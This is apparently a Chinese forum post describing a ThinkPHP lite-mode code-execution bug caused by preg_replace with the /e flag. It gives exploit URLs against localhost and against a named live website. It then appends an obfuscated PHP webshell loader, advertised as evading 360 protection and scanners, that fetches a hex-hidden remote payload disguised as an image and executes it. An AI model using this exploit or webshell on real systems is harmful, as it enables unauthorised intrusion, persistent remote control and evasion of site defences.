相关漏洞:http://loudong.360.cn/vul/info/id/2919
ThinkPHP 开启lite模式后,会加载ThinkPHP/Extend/Mode/Lite/Dispacher.class.php去匹配URL并分发用户请求, 而在该文件的65行使用perg_replace函数的 /e参数,
第二个参数引用的时候使用了双引号,从而导致代码执行。
测试 http://localhost/index.php/Index/index/name/$%7B@phpinfo%28%29%7D
实例 http://www.bqllt.com/index.php/Index/index/name/$%7B@phpinfo%28%29%7D
官方修复:http://www.thinkphp.cn/info/463.html
有兴趣的同学可以对该漏洞进行详细分析下
:)
并在此附带 一个高级 大马 过360 网站卫士 和 脚本扫描
<?php error_reporting(0);session_start();header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649);@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);?>